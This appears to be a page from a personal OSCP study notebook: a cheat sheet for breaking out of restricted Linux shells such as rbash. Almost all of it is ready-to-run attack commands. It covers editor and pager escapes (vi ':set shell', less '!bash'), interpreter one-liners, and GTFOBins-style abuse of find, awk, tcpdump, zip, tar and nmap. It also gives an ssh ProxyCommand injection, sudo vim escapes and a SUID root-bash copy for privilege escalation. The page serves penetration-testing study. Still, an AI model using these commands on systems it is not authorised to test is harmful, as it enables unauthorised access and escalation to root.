Pearson's OSCP Notebook

Restricted Shell Escape

Properties1
tagsrestricted-shell, rbash, shell-escape, vi, vim, path, privesc, post-exploitation, gtfobins

4 min read

Restricted Shell Escape

Ctrl+F: rbash · vi · :set shell · :shell · export PATH · restricted · escape

External: Internal All The Things — Escape Breakout

A restricted shell limits what you can run — often rbash, rsh, or app jails like lshell. Symptoms: only a few commands work, no /, no cd, broken tab completion, or PATH locked to a tiny set.

Everything “not found” including whoami/cmd? Broken empty PATH → Broken PATH - Commands Not Found (Windows set PATH=... · Linux export PATH=...).

OSCP use: You land as a user with a restricted shell (e.g. DC-2 / tom) but vi or another editor is allowed → escape to full /bin/bash and fix PATH.

Upgrade after escape → Shell > 📌 2) Upgrade / stabilize a shell (Linux)

📌 1) Confirm you’re restricted

echo $SHELL                    # often /bin/rbash or /bin/rsh
echo $PATH                     # tiny — e.g. /home/user/bin
type cd                        # may say "restricted"
bash                           # "command not found" or restricted
/bin/bash                      # sometimes blocked

SSH with no Profile

ssh joe@funbox.fritz.box -t "bash --noprofile"

📌 2) Vi / Vim escape (DC-2 pattern)

If vi or vim is in your allowed commands:

1. Launch vi on any file (even new):
   vi
   vi /tmp/x
 
2. Enter command mode (Esc), then:
   :set shell=/bin/bash
 
3. Spawn that shell:
   :shell
   (or :!bash  on some versions)
 
4. Fix environment — restricted PATH often persists:
   export PATH=/bin:/usr/bin:$PATH
   export SHELL=/bin/bash
 
5. Confirm:
   id
   which bash
   cd /tmp

Copy-paste block:

vi
# Esc → type:
:set shell=/bin/bash
:shell
 
export PATH=/bin:/usr/bin:$PATH
export SHELL=/bin/bash
bash -i

Vim — same steps; also try :!/bin/bash.

→ Image reference: DC-2 tom user · allowed vi editor

📌 3) Other editors & pagers

BinaryEscape
vi / vim:set shell=/bin/bash → :shell
vim:!/bin/bash
less / more!/bin/bash while viewing a file
man!bash (if man pager allows)
ed!bash
less /etc/passwd
# at prompt:
!/bin/bash
 
man ls
# in man:
!bash

📌 4) Language interpreters (if allowed)

python3 -c 'import os; os.system("/bin/bash")'
python  -c 'import os; os.system("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
 
perl -e 'exec "/bin/bash";'
ruby -e 'exec "/bin/bash"'    # → [[Ruby]]
 
awk 'BEGIN {system("/bin/bash")}'
lua -e 'os.execute("/bin/bash")'

📌 5) Allowed commands with shell escape (GTFOBins-style)

If these binaries are whitelisted in rbash:

# find
find . -exec /bin/bash \; -quit
find . -exec /bin/sh \; -quit
 
# awk
awk 'BEGIN {system("/bin/bash")}'
 
# nmap (interactive)
nmap --interactive
# then: !sh  or  !bash
 
# tcpdump (some versions) — full ref: [[tcpdump]]
tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /bin/bash -Z root
 
# git
git help config
# !/bin/bash
 
# zip
zip /tmp/x.zip /tmp/x -T --unzip-command="sh -c /bin/bash"
 
# tar — checkpoint exec (direct) · cron wildcard → **[[Linux#Wildcard injection in cron (tar *)]]** · **[[tar]]**
tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash
 
# env
env /bin/bash
 
# ssh (connect to self with full shell)
ssh user@127.0.0.1
# or force command bypass if you control keys:
ssh -o ProxyCommand=';/bin/bash' x@127.0.0.1

Full list: GTFOBins — Restricted Shell Escape

📌 6) PATH & SHELL bypass

Restricted shells often force a minimal PATH. After any partial escape:

export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
export SHELL=/bin/bash
/bin/bash -p                    # privileged mode if SUID bash exists
bash --noprofile --norc

Copy binary to writable dir:

cp /bin/bash /tmp/bash
chmod +x /tmp/bash
/tmp/bash -p

SUID bash (if you can chmod):

cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
/tmp/rootbash -p

📌 7) SSH escape

If ssh is allowed but login shell is rbash:

# Force different remote command
ssh user@127.0.0.1 /bin/bash
ssh -t user@TARGET /bin/bash
 
# From your Kali — request bash on connect
ssh -o PermitLocalCommand=yes user@TARGET

If you have your own key in authorized_keys, set command to /bin/bash in the key options (attackers) or remove command= restriction (defender bypass).

📌 8) Break out via allowed scripts / cron

# Writable script in PATH that's allowed to run
echo '/bin/bash' >> ~/allowed_script.sh
 
# If sudo allows one command
sudo -u root /bin/bash
sudo /usr/bin/vim -c ':!/bin/bash'

→ Linux · Privilege Escalation

📌 9) When nothing works

StepAction
Enumerate allowed commandshelp, compgen -c, try tab completion
Read startup files.bashrc, .profile, ~/.ssh/authorized_keys
Check sudosudo -l
Transfer static bashBase64 / File Transfer if outbound HTTP works
Different vectorPort Forwarding · cred reuse · web shell

→ Stuck?

📌 Quick Cheat Sheet

# Vi escape
vi → Esc → :set shell=/bin/bash → :shell
export PATH=/bin:/usr/bin:$PATH
export SHELL=/bin/bash
 
# Interpreters
python3 -c 'import pty; pty.spawn("/bin/bash")'
perl -e 'exec "/bin/bash";'
 
# GTFOBins favorites
find . -exec /bin/bash \; -quit
awk 'BEGIN {system("/bin/bash")}'
env /bin/bash
 
# Then upgrade TTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z → stty raw -echo; fg → export TERM=xterm

Graph View

Backlinks